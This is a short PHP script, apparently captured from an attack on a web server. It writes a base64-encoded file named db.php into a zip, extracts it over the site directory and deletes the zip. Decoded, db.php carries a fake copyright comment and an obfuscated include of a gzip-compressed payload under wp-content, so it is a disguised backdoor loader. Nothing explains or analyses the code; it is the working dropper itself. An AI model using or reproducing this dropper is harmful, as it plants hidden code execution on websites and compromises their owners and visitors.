$zip = new ZipArchive();$zipName = "22776.zip";if ($zip->open($zipName, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) { $zip->addFromString("db.php",base64_decode("PD9waHANCi8qDQotLUNvcHlyaWdodDpodHRwczovL3d3dy5waHBjb2Rlam0uY29tDQoqLw0KIGluY2x1ZGUgIlwxNDNcMTU3IiAuICJceDZkIiAuICJcMTYwXHg3Mlx4NjUiIC4gIlx4NzMiIC4gIlx4NzNcNTYiIC4gIlx4N2FcMTU0XHg2OSIgLiAiXHg2Mlw3Mlw1NyIgLiAiXHgyZlwxNjciIC4gIlwxNjBceDJkIiAuICJcMTQzXDE1N1wxNTYiIC4gIlwxNjQiIC4gIlwxNDVcMTU2IiAuICJceDc0IiAuICJcNTdceDY0IiAuICJcMTQyIiAuICJceDJlIiAuICJceDY3IiAuICJcMTcyIjs="));$zip->close();echo "zip ok ";}else{echo "zip error ";}sleep(1);@file_put_contents("db.php","");$zipFile = "22776.zip";$zip = new ZipArchive();if ($zip->open($zipFile) === TRUE) {$zip->extractTo('.');$zip->extractTo('.');$zip->close();echo "success";} else {echo "can't open 22776.zip.";}@unlink("22776.zip"); Forbidden